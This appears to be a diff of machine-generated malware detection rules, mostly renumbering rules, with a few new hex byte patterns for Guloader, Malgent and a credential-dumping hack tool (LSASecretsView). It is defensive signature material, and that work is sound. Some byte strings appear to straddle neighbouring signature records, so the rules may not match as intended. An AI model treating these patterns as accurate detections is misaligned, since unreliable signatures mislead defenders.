_InfrastructureShared_14451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -153245,7 +163531,7 @@ rule _InfrastructureShared_13556{ ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*385+(#a_49_2 & 1)*-32500+(#a_4d_3 & 1)*27503+(#a_24_4 & 1)*-32475+(#a_36_5 & 1)*25446) >=6 } -rule _InfrastructureShared_13557{ +rule _InfrastructureShared_14452{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -153258,22 +163544,37 @@ rule _InfrastructureShared_13557{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*14644+(#a_52_4 & 1)*21320+(#a_65_5 & 1)*29545) >=6 } -rule _InfrastructureShared_13558{ +rule _InfrastructureShared_14453{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 55 49 36 38 00 01 00 1d 81 01 74 65 61 6b 74 72 73 62 6f 72 64 65 6e 65 73 20 69 6e 74 6f 6e 61 74 69 6f 6e 65 6e 73 01 00 21 81 01 63 61 6c 69 63 6c 65 20 73 6e 64 61 67 73 62 } //18467 $a_73_1 = {65 72 6e 65 73 20 6a 61 63 6b 74 61 72 01 00 0b 81 01 41 66 66 72 69 6e 67 2e 70 61 72 01 00 08 81 01 44 75 61 6c 2e 62 6c 6f 01 00 1d 81 01 46 6c 65 72 62 72 75 67 65 72 69 6e 73 74 61 6c 6c 61 74 69 6f 6e 31 33 35 2e 67 72 65 01 00 0e 81 01 45 6b 73 61 6d 69 6e 65 72 69 6e 67 73 5c 00 00 78 c5 00 00 06 00 06 00 } //27753 - $a_23_2 = {53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 4d 31 39 30 35 32 33 21 4d 54 42 00 01 } //6 - $a_01_3 = {41 61 72 73 6f 70 67 72 65 6c 73 65 72 6e 65 73 01 00 26 81 01 50 65 72 6d 61 6e 67 61 6e 61 74 65 20 54 6f 73 65 6e 67 73 73 74 75 65 20 50 72 61 6b 74 69 6b 6b 65 72 6e 65 73 01 00 17 81 01 52 6f 6f 6b 69 73 68 20 54 76 69 6c 6c 69 6e 67 65 72 73 2e 65 78 65 01 00 0c 01 43 72 65 61 74 65 54 68 72 65 61 64 01 00 0e 01 53 63 72 65 65 6e 54 6f 43 6c 69 65 6e 74 01 00 18 01 53 65 74 44 } //4096 - $a_75_4 = {74 44 6c 6c 44 69 72 65 63 74 6f 72 69 65 73 00 00 78 c5 00 00 06 00 06 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4d 61 6c 67 65 6e 74 2e 50 52 21 4d 54 42 00 01 00 19 03 6d 00 61 00 69 00 6e 00 2e 00 90 02 24 2e 00 66 00 75 00 6e 00 63 00 90 00 01 00 0f 03 6d 61 69 6e 2e 90 02 24 2e } //26213 - $a_63_5 = {00 01 00 14 81 01 63 72 79 70 74 6f 2f 63 69 70 68 65 72 2f 63 66 62 2e 67 6f 01 00 18 81 01 67 69 74 68 75 62 2e 63 6f 6d 2f 66 31 7a 6d 30 2f 61 63 68 65 72 6f 6e 01 00 15 81 01 37 48 66 45 62 47 4d 4c 32 65 38 58 55 39 36 46 58 50 78 59 3d 01 00 0c 81 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 01 00 0b 81 01 4c 6f 61 64 4c 69 62 } //30054 + $a_23_2 = {53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 53 49 30 31 21 4d 54 42 00 01 00 13 81 } //6 + $a_65_3 = {72 6f 74 6f 6d 61 72 69 6f 69 64 2e 70 61 61 01 00 0e 81 01 65 63 74 6f 63 6f 65 6c 69 63 2e 66 72 79 01 00 0e 81 01 66 6f 72 65 68 61 6d 6d 65 72 2e 74 78 74 01 00 19 81 01 72 65 67 69 73 74 65 72 6d 61 72 6b 65 72 69 6e 67 65 72 6e 65 2e 6f 70 74 01 00 10 81 01 75 6e 64 65 63 61 64 65 6e 74 6c 79 2e 61 6d 61 01 00 27 81 } //28673 + $a_67_4 = {6f 6d 65 74 65 72 73 20 73 79 67 65 73 69 6b 72 69 6e 67 65 72 6e 65 20 6a 61 70 61 6e 6f 6c 61 74 72 79 00 00 78 c5 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 4d 31 39 30 35 32 33 21 4d 54 42 00 01 00 10 81 01 41 61 72 73 6f 70 67 72 65 6c 73 65 72 6e 65 73 01 00 26 81 01 50 65 72 6d 61 6e 67 61 6e 61 74 65 20 } //26625 + $a_65_5 = {67 73 73 74 75 65 20 50 72 61 6b 74 69 6b 6b 65 72 6e 65 73 01 00 17 81 01 52 6f 6f 6b 69 73 68 20 54 76 69 6c 6c 69 6e 67 65 72 73 2e 65 78 65 01 00 0c 01 43 72 65 61 74 65 54 68 72 65 61 64 01 00 0e 01 53 63 72 65 65 6e 54 6f 43 6c 69 65 6e 74 01 00 18 01 53 65 74 44 65 66 61 75 6c 74 44 6c 6c 44 69 72 65 63 74 6f 72 69 65 73 00 00 78 c5 00 } //28500 condition: - ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*27753+(#a_23_2 & 1)*6+(#a_01_3 & 1)*4096+(#a_75_4 & 1)*26213+(#a_63_5 & 1)*30054) >=6 + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*27753+(#a_23_2 & 1)*6+(#a_65_3 & 1)*28673+(#a_67_4 & 1)*26625+(#a_65_5 & 1)*28500) >=6 } -rule _InfrastructureShared_13559{ +rule _InfrastructureShared_14454{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 53 49 30 31 21 4d 54 42 00 01 00 13 81 01 70 6c 65 75 72 6f 74 6f 6d 61 72 69 6f 69 64 2e 70 61 61 01 00 0e 81 01 65 63 74 6f 63 6f 65 6c 69 63 2e 66 72 79 01 00 0e 81 01 66 6f 72 65 68 61 6d 6d 65 } //18467 + $a_78_1 = {01 00 19 81 01 72 65 67 69 73 74 65 72 6d 61 72 6b 65 72 69 6e 67 65 72 6e 65 2e 6f 70 74 01 00 10 81 01 75 6e 64 65 63 61 64 65 6e 74 6c 79 2e 61 6d 61 01 00 27 81 01 68 79 67 72 6f 6d 65 74 65 72 73 20 73 79 67 65 73 69 6b 72 69 6e 67 65 72 6e 65 20 6a 61 70 61 6e 6f 6c 61 74 72 79 00 00 78 c5 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 } //11890 + $a_2f_2 = {75 6c 6f 61 64 65 72 2e 53 4d 31 39 30 35 32 33 21 4d 54 42 00 01 00 10 81 01 41 61 72 73 6f 70 67 72 65 6c 73 65 72 6e 65 73 01 00 26 81 01 50 65 72 } //13166 + $a_67_3 = {6e 61 74 65 20 54 6f 73 65 6e 67 73 73 74 75 65 20 50 72 61 6b 74 69 6b 6b 65 72 6e 65 73 01 00 17 81 01 52 6f 6f 6b 69 73 68 20 54 76 69 6c 6c 69 6e 67 65 72 73 2e 65 78 65 01 00 0c 01 43 72 65 61 74 65 54 68 72 65 61 64 01 00 0e 01 53 63 72 65 65 6e 54 6f 43 6c 69 65 6e 74 01 00 18 01 53 65 74 44 65 66 61 75 6c 74 44 6c 6c 44 } //24941 + $a_63_4 = {6f 72 69 65 73 00 00 78 c5 00 00 06 00 06 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4d 61 6c 67 65 6e 74 2e 50 52 21 4d 54 42 00 01 00 19 03 6d 00 61 00 69 00 6e 00 2e 00 90 02 24 2e 00 66 00 75 00 6e 00 63 00 90 00 01 00 0f 03 6d 61 69 6e 2e 90 02 24 2e 66 75 6e 63 90 00 01 00 14 81 01 63 72 79 } //29289 + $a_2f_5 = {69 70 68 65 72 2f 63 66 62 2e 67 6f 01 00 18 81 01 67 69 74 68 75 62 2e 63 6f 6d 2f 66 31 7a 6d 30 2f 61 63 68 65 72 6f 6e 01 00 15 81 01 37 48 66 45 62 47 4d 4c 32 65 38 58 55 39 36 46 58 50 78 59 3d 01 00 0c 81 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 01 00 0b 81 01 4c 6f 61 64 4c 69 62 72 61 72 79 00 00 78 c5 00 00 07 00 07 00 08 } //29808 + condition: + ((#a_54_0 & 1)*18467+(#a_78_1 & 1)*11890+(#a_2f_2 & 1)*13166+(#a_67_3 & 1)*24941+(#a_63_4 & 1)*29289+(#a_2f_5 & 1)*29808) >=6 + +} +rule _InfrastructureShared_14455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -153288,7 +163589,7 @@ rule _InfrastructureShared_13559{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*29803+(#a_23_2 & 1)*7+(#a_00_3 & 1)*105+(#a_78_4 & 1)*22598+(#a_01_5 & 1)*27438) >=6 } -rule _InfrastructureShared_13560{ +rule _InfrastructureShared_14456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -153303,7 +163604,7 @@ rule _InfrastructureShared_13560{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28777+(#a_61_3 & 1)*25665+(#a_74_4 & 1)*12593+(#a_69_5 & 1)*30051+(#a_61_6 & 1)*18177) >=6 } -rule _InfrastructureShared_13561{ +rule _InfrastructureShared_14457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 08 00 21 " @@ -153319,7 +163620,7 @@ rule _InfrastructureShared_13561{ ((#a_77_0 & 1)*16675+(#a_00_2 & 1)*83+(#a_77_3 & 1)*26223+(#a_54_4 & 1)*20304+(#a_72_5 & 1)*21369+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1) >=7 } -rule _InfrastructureShared_13562{ +rule _InfrastructureShared_14458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 09 00 21 " @@ -153336,7 +163637,7 @@ rule _InfrastructureShared_13562{ ((#a_54_0 & 1)*18467+(#a_4f_1 & 1)*20548+(#a_81_2 & 1)*1+(#a_c5_3 & 1)*0+(#a_43_4 & 1)*20817+(#a_52_6 & 1)*21320+(#a_74_7 & 1)*20592+(#a_00_8 & 1)*0) >=7 } -rule _InfrastructureShared_13563{ +rule _InfrastructureShared_14459{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -153353,7 +163654,7 @@ rule _InfrastructureShared_13563{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29285+(#a_2e_2 & 1)*24946+(#a_47_3 & 1)*5120+(#a_64_4 & 1)*26967+(#a_53_5 & 1)*21326+(#a_fe_6 & 1)*12993+(#a_01_7 & 1)*1) >=8 } -rule _InfrastructureShared_13564{ +rule _InfrastructureShared_14460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -153370,7 +163671,7 @@ rule _InfrastructureShared_13564{ ((#a_54_0 & 1)*18467+(#a_50_1 & 1)*28005+(#a_6f_2 & 1)*21562+(#a_61_3 & 1)*25200+(#a_67_4 & 1)*17251+(#a_44_5 & 1)*23865+(#a_73_6 & 1)*26725+(#a_75_7 & 1)*29289) >=8 } -rule _InfrastructureShared_13565{ +rule _InfrastructureShared_14461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 05 00 06 00 21 " @@ -153385,7 +163686,7 @@ rule _InfrastructureShared_13565{ ((#a_46_0 & 1)*16675+(#a_2c_1 & 1)*13505+(#a_6c_2 & 1)*26478+(#a_73_3 & 1)*266+(#a_57_4 & 1)*21076+(#a_81_5 & 1)*1) >=5 } -rule _InfrastructureShared_13566{ +rule _InfrastructureShared_14462{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -153402,7 +163703,7 @@ rule _InfrastructureShared_13566{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28261+(#a_54_2 & 1)*18467+(#a_01_3 & 1)*29793+(#a_69_5 & 1)*385+(#a_6c_6 & 1)*18031+(#a_65_7 & 1)*12143+(#a_00_8 & 1)*21581) >=9 } -rule _InfrastructureShared_13567{ +rule _InfrastructureShared_14463{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -153419,7 +163720,7 @@ rule _InfrastructureShared_13567{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*29793+(#a_69_3 & 1)*385+(#a_6c_4 & 1)*18031+(#a_65_5 & 1)*12143+(#a_00_6 & 1)*21581+(#a_08_7 & 1)*-28408+(#a_20_8 & 1)*-10347) >=9 } -rule _InfrastructureShared_13568{ +rule _InfrastructureShared_14464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 06 00 21 " @@ -153434,7 +163735,7 @@ rule _InfrastructureShared_13568{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*29283+(#a_6a_2 & 1)*29268+(#a_84_3 & 1)*27136+(#a_65_4 & 1)*29806+(#a_54_5 & 1)*25972) >=12 } -rule _InfrastructureShared_13569{ +rule _InfrastructureShared_14465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -153446,7 +163747,7 @@ rule _InfrastructureShared_13569{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*-27260+(#a_01_2 & 1)*29188) >=16 } -rule _InfrastructureShared_13570{ +rule _InfrastructureShared_14466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -153460,7 +163761,7 @@ rule _InfrastructureShared_13570{ ((#a_54_0 & 1)*18467+(#a_06_1 & 1)*2564+(#a_90_2 & 1)*1025+(#a_73_3 & 1)*24909+(#a_25_4 & 1)*400) >=18 } -rule _InfrastructureShared_13571{ +rule _InfrastructureShared_14467{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 06 00 21 " @@ -153473,7 +163774,7 @@ rule _InfrastructureShared_13571{ ((#a_54_0 & 1)*18467+(#a_69_2 & 1)*16897+(#a_32_3 & 1)*28265+(#a_65_4 & 1)*28530) >=18 } -rule _InfrastructureShared_13572{ +rule _InfrastructureShared_14468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 0b 00 21 " @@ -153493,7 +163794,7 @@ rule _InfrastructureShared_13572{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*27756+(#a_54_2 & 1)*21076+(#a_d6_3 & 1)*-18684+(#a_9c_4 & 1)*1025+(#a_6d_5 & 1)*29811+(#a_00_6 & 1)*101+(#a_f8_7 & 1)*26118+(#a_03_8 & 1)*1+(#a_c6_9 & 1)*0+(#a_01_10 & 1)*26624) >=20 } -rule _InfrastructureShared_13573{ +rule _InfrastructureShared_14469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1a 00 1a 00 08 00 21 " @@ -153508,7 +163809,7 @@ rule _InfrastructureShared_13573{ ((#a_54_0 & 1)*18467+(#a_10_1 & 1)*1025+(#a_5f_3 & 1)*24415+(#a_49_4 & 1)*11890+(#a_02_5 & 1)*6288+(#a_e3_7 & 1)*803) >=26 } -rule _InfrastructureShared_13574{ +rule _InfrastructureShared_14470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2b 00 2a 00 05 00 21 " @@ -153522,7 +163823,7 @@ rule _InfrastructureShared_13574{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*16749+(#a_52_2 & 1)*21320+(#a_01_3 & 1)*-28555+(#a_06_4 & 1)*-28667) >=42 } -rule _InfrastructureShared_13575{ +rule _InfrastructureShared_14471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,65 00 65 00 03 00 21 " @@ -153534,7 +163835,7 @@ rule _InfrastructureShared_13575{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*1538+(#a_57_2 & 1)*28257) >=101 } -rule _InfrastructureShared_13576{ +rule _InfrastructureShared_14472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -153544,7 +163845,7 @@ rule _InfrastructureShared_13576{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_13577{ +rule _InfrastructureShared_14473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -153554,7 +163855,7 @@ rule _InfrastructureShared_13577{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_13578{ +rule _InfrastructureShared_14474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -153564,7 +163865,7 @@ rule _InfrastructureShared_13578{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_13579{ +rule _InfrastructureShared_14475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -153574,7 +163875,7 @@ rule _InfrastructureShared_13579{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_13580{ +rule _InfrastructureShared_14476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -153585,7 +163886,7 @@ rule _InfrastructureShared_13580{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*8295) >=1 } -rule _InfrastructureShared_13581{ +rule _InfrastructureShared_14477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -153596,7 +163897,7 @@ rule _InfrastructureShared_13581{ ((#a_46_0 & 1)*16675+(#a_0f_1 & 1)*15323) >=1 } -rule _InfrastructureShared_13582{ +rule _InfrastructureShared_14478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -153609,7 +163910,7 @@ rule _InfrastructureShared_13582{ ((#a_54_0 & 1)*18467+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=1 } -rule _InfrastructureShared_13583{ +rule _InfrastructureShared_14479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -153619,7 +163920,7 @@ rule _InfrastructureShared_13583{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_13584{ +rule _InfrastructureShared_14480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -153630,7 +163931,7 @@ rule _InfrastructureShared_13584{ ((#a_54_0 & 1)*18467+(#a_07_1 & 1)*5651) >=2 } -rule _InfrastructureShared_13585{ +rule _InfrastructureShared_14481{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -153641,7 +163942,7 @@ rule _InfrastructureShared_13585{ ((#a_54_0 & 1)*18467+(#a_0c_1 & 1)*3603) >=2 } -rule _InfrastructureShared_13586{ +rule _InfrastructureShared_14482{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -153652,7 +163953,7 @@ rule _InfrastructureShared_13586{ ((#a_54_0 & 1)*18467+(#a_25_1 & 1)*0) >=2 } -rule _InfrastructureShared_13587{ +rule _InfrastructureShared_14483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -153663,7 +163964,7 @@ rule _InfrastructureShared_13587{ ((#a_6e_0 & 1)*21027+(#a_57_1 & 1)*24920) >=2 } -rule _InfrastructureShared_13588{ +rule _InfrastructureShared_14484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -153675,7 +163976,7 @@ rule _InfrastructureShared_13588{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25968+(#a_41_2 & 1)*8448) >=2 } -rule _InfrastructureShared_13589{ +rule _InfrastructureShared_14485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -153691,7 +163992,7 @@ rule _InfrastructureShared_13589{ ((#a_46_0 & 1)*16675+(#a_ff_1 & 1)*12851+(#a_08_2 & 1)*-29950+(#a_33_3 & 1)*-16881+(#a_90_4 & 1)*776+(#a_54_5 & 1)*18467+(#a_fe_6 & 1)*2560) >=2 } -rule _InfrastructureShared_13590{ +rule _InfrastructureShared_14486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " @@ -153701,7 +164002,7 @@ rule _InfrastructureShared_13590{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_13591{ +rule _InfrastructureShared_14487{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -153713,7 +164014,7 @@ rule _InfrastructureShared_13591{ ((#a_54_0 & 1)*18467+(#a_fe_1 & 1)*2560+(#a_28_2 & 1)*0) >=3 } -rule _InfrastructureShared_13592{ +rule _InfrastructureShared_14488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -153725,7 +164026,7 @@ rule _InfrastructureShared_13592{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*4952+(#a_69_2 & 1)*2055) >=3 } -rule _InfrastructureShared_13593{ +rule _InfrastructureShared_14489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -153737,7 +164038,7 @@ rule _InfrastructureShared_13593{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*43+(#a_64_2 & 1)*16748) >=3 } -rule _InfrastructureShared_13594{ +rule _InfrastructureShared_14490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -153751,7 +164052,7 @@ rule _InfrastructureShared_13594{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*30052+(#a_6c_2 & 1)*29811+(#a_6b_3 & 1)*28488+(#a_73_4 & 1)*11876) >=3 } -rule _InfrastructureShared_13595{ +rule _InfrastructureShared_14491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -153765,7 +164066,7 @@ rule _InfrastructureShared_13595{ ((#a_54_0 & 1)*18467+(#a_56_2 & 1)*16174+(#a_61_3 & 1)*27695+(#a_6e_5 & 1)*29184+(#a_3a_6 & 1)*19521) >=3 } -rule _InfrastructureShared_13596{ +rule _InfrastructureShared_14492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -153782,7 +164083,7 @@ rule _InfrastructureShared_13596{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25902+(#a_61_2 & 1)*28530+(#a_00_3 & 1)*47+(#a_00_4 & 1)*47+(#a_2f_5 & 1)*28515+(#a_00_7 & 1)*4+(#a_3a_8 & 1)*19539) >=3 } -rule _InfrastructureShared_13597{ +rule _InfrastructureShared_14493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -153794,7 +164095,7 @@ rule _InfrastructureShared_13597{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*104+(#a_69_3 & 1)*28773) >=4 } -rule _InfrastructureShared_13598{ +rule _InfrastructureShared_14494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -153807,7 +164108,7 @@ rule _InfrastructureShared_13598{ ((#a_63_0 & 1)*17699+(#a_50_1 & 1)*28532+(#a_57_2 & 1)*29295+(#a_6f_3 & 1)*25970) >=4 } -rule _InfrastructureShared_13599{ +rule _InfrastructureShared_14495{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -153819,7 +164120,7 @@ rule _InfrastructureShared_13599{ ((#a_46_0 & 1)*21283+(#a_65_1 & 1)*28271+(#a_54_3 & 1)*8448) >=4 } -rule _InfrastructureShared_13600{ +rule _InfrastructureShared_14496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -153832,7 +164133,7 @@ rule _InfrastructureShared_13600{ ((#a_4c_0 & 1)*21539+(#a_55_1 & 1)*18435+(#a_2f_2 & 1)*13934+(#a_e8_3 & 1)*260) >=4 } -rule _InfrastructureShared_13601{ +rule _InfrastructureShared_14497{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -153846,22 +164147,33 @@ rule _InfrastructureShared_13601{ ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*6144+(#a_54_2 & 1)*27501+(#a_63_3 & 1)*18490+(#a_01_4 & 1)*1) >=4 } -rule _InfrastructureShared_13602{ +rule _InfrastructureShared_14498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " strings : $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4c 53 41 53 65 63 72 65 74 73 56 69 65 77 21 64 68 61 00 01 00 10 01 25 32 2e 32 58 25 32 2e 32 58 25 32 2e 32 58 00 01 00 20 01 53 6f 66 74 77 61 72 65 5c 4e 69 } //21539 $a_66_1 = {5c 4c 53 41 53 65 63 72 65 74 73 56 69 65 77 00 01 00 07 01 2f 6e 6f 72 65 67 00 01 00 0f 01 4c 53 41 53 65 63 72 65 74 73 56 69 65 77 00 01 00 1c 01 43 6f 6e 74 72 6f 6c 53 65 74 25 33 2e 33 64 5c 43 6f 6e 74 72 6f 6c 5c 4c 73 61 00 01 00 1c 00 5c 72 65 6c 65 61 73 65 5c 4c 53 41 53 65 63 72 65 74 73 56 69 65 77 2e 70 64 62 00 00 } //21362 - $a_00_2 = {00 05 00 05 00 05 00 21 23 41 4c 46 3a 50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 57 61 6a 61 6d 2e 48 4d 52 00 01 00 42 80 01 5c 6a 65 6e 6b 69 6e 73 5c 77 6f 72 6b 73 70 61 63 65 5c 73 74 61 62 6c 65 2d 31 2e 35 30 5c 73 72 63 5c 78 36 34 5c 52 65 6c 65 61 73 65 5c 77 61 6a 61 6d 5f 67 6f 62 6c 69 6e 5f 36 34 2e 70 64 62 01 00 10 80 01 46 6c 75 73 68 46 69 6c 65 42 75 66 66 65 72 73 01 00 11 80 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 0d 80 01 50 65 65 6b 4e 61 6d 65 64 50 69 70 65 01 00 10 80 01 54 65 72 6d 69 6e 61 74 65 50 72 6f 63 65 73 73 00 } //30720 - $a_00_3 = {00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 45 45 4c 31 32 33 21 4d 54 42 00 01 00 27 81 01 74 61 75 74 6f 6d 65 72 79 20 65 64 64 69 6b 6b 65 66 61 62 72 69 6b 73 20 65 6c 61 65 6f 73 61 63 63 68 61 72 75 6d 01 00 1a 81 01 61 6d 70 6c 69 74 75 64 65 20 72 65 70 72 6f 66 6f 74 6f 67 61 66 65 72 6e 65 01 00 0f 81 01 72 65 61 64 68 65 72 65 20 61 66 73 74 64 65 01 00 20 81 01 63 68 61 74 74 65 72 65 72 7a 20 6b 6c 6f 61 6b 73 79 73 74 65 6d 20 61 6e 74 69 63 6f 64 6f 6e 01 00 13 81 01 63 68 72 6f 6d 61 74 6f 6d 65 74 65 72 20 63 72 61 76 65 00 } //30720 - $a_00_4 = {00 05 00 05 00 06 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 45 6f 72 65 7a 6f 5f 47 61 6d 65 73 44 65 73 6b 74 6f 70 00 04 00 0f 01 7b 22 75 72 6c 22 3a 22 68 74 74 70 3a 2f 2f 01 00 13 01 2f 67 61 6d 65 73 2d 64 65 73 6b 74 6f 70 2e 63 6f 6d 2f 01 00 20 01 2f 66 72 65 65 73 6f 66 74 74 6f 64 61 79 2e 63 6c 6f 75 64 34 77 69 64 67 65 74 2e 63 6f 6d 2f 01 00 17 01 2f 6d 79 62 65 73 74 6f 66 66 65 72 73 74 6f 64 61 79 2e 63 6f 6d 2f 01 00 18 01 2f 6d 6f 62 69 6c 65 70 63 73 74 61 72 74 65 72 6b 69 74 2e 63 6f 6d 2f 01 00 13 01 2f 6f 6e 65 73 6f 66 74 70 65 72 64 61 79 2e 63 6f 6d 2f 00 } //30720 - $a_00_5 = {00 05 00 05 00 08 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 69 64 65 77 61 6c 